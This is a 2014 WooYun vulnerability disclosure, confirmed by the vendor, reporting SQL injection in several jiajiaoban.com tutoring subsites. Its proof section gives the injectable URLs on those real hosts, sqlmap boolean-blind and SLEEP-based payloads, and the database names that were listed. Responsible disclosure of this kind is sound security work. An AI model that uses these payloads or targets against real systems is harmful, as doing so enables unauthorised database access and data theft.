当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075618

漏洞标题：学而思培优多个分站存在SQL注入漏洞

相关厂商：好未来集团学而思培优

漏洞作者： 浮萍

提交时间：2014-09-10 10:47

修复时间：2014-10-25 10:48

公开时间：2014-10-25 10:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-10： 细节已通知厂商并且等待厂商处理中
2014-09-11： 厂商已经确认，细节仅向厂商公开
2014-09-21： 细节向核心白帽子及相关领域专家公开
2014-10-01： 细节向普通白帽子公开
2014-10-11： 细节向实习白帽子公开
2014-10-25： 细节向公众公开

简要描述：

多个分站

详细说明：

首先第一个
这个可能会与

 WooYun: 学而思某礼品兑换系统SQL注入漏洞可获取后台权限和大量礼品卡号码

重复
积分乐园_智康1对1
http://jifen.jiajiaoban.com/

Snap1.jpg


选择一条公告

Snap2.jpg


输入'

Snap3.jpg


确定注入点http://jifen.jiajiaoban.com/students/notice/41

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://jifen.jiajiaoban.com:80/students/notice/41' AND 9772=9772 AN
D 'qwCx'='qwCx
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://jifen.jiajiaoban.com:80/students/notice/41' AND SLEEP(5) AND
 'nSIZ'='nSIZ
---


数据库

available databases [3]:
[*] information_schema
[*] test
[*] zkshop


zkshop有24张表
----------------
这个不是主要的
↓↓请看下面↓↓
多个分站SQL注入

漏洞证明：

1.名师团队_家教网_成都智康家教1对1
http://cdsouke.jiajiaoban.com/

Snap4.jpg


随便选个校区

Snap5.jpg


在xuequ后输入'

Snap6.jpg


注入点：http://cdsouke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:ff8080813104cc290131188e9d720c48/teachername:/sex:/status:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://cdsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:ff8080813166ac3301316a97411901d3%' AND 5354=5354 AND '%'='/teachernam
e:/sex:/status:
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://cdsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:ff8080813166ac3301316a97411901d3%' AND SLEEP(5) AND '%'='/teachername
:/sex:/status:
---


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk028


-----------
同理：
2.名师团队_家教网_深圳智康家教1对1
http://szsouke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:e0d31a42b1fb11e08e16e41f13bb5234/teachername:/sex:/status:

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://szsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:e0d31a42b1fb11e08e16e41f13bb5234%' AND 5701=5701 AND '%'='/teachernam
e:/sex:/status:
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://szsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:e0d31a42b1fb11e08e16e41f13bb5234%' AND SLEEP(5) AND '%'='/teachername
:/sex:/status:
---


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk0755


------------------
3.名师团队_家教网_武汉智康家教1对1
http://whsouke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:ff80808132ab40190132b8caa2a708ce/teachername:/sex:/status:

---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://whsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:ff80808132ab40190132b8caa2a708ce%' AND 1552=1552 AND '%'='/teachernam
e:/sex:/status:
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://whsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nia
nji:/xuequ:ff80808132ab40190132b8caa2a708ce%' AND SLEEP(5) AND '%'='/teachername
:/sex:/status:
---


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk027


------------------
4.智康一对一
注入点

http://souke.jiajiaoban.com/searchs/search/tuiguang:/kemu:/nianji:/xuequ:ff8080812865f0a2012871f381900daf/teachername:/sex:/status:


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://souke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianj
i:/xuequ:ff8080812865f0a2012871f381900daf%' AND 3763=3763 AND '%'='/teachername:
/sex:/status:
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://souke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:/nianj
i:/xuequ:ff8080812865f0a2012871f381900daf%' AND SLEEP(5) AND '%'='/teachername:/
sex:/status:
---


Snap10.jpg


 WooYun: 学而思培优某分站存在SQL注入漏洞


--------

Snap7.jpg


这几个站应该都受影响
检索条件换成学科试试
例如
5.广州
http://gzsouke.jiajiaoban.com/
选择一个学科

Snap8.jpg


输入'

Snap9.jpg


注入点：http://gzsouke.jiajiaoban.com/searchs/search/tuiguang:/kemu:ff8080813143010d013145be969b02c4/nianji:/xuequ:/teachername:/sex:/status:

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 122 HTTP(s) req
uests:
---
Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://gzsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:ff80
80813143010d013145be969b02c4' AND 7877=7877 AND 'VIfF'='VIfF/nianji:/xuequ:/teac
hername:/sex:/status:
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://gzsouke.jiajiaoban.com:80/searchs/search/tuiguang:/kemu:ff80
80813143010d013145be969b02c4' AND SLEEP(5) AND 'LdGX'='LdGX/nianji:/xuequ:/teach
ername:/sex:/status:
---


数据库

available databases [4]:
[*] information_schema
[*] mysql
[*] test
[*] zk020


修复方案：

多排查一下

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-09-11 10:14

厂商回复：

非常感谢，请继续支持

最新状态：

暂无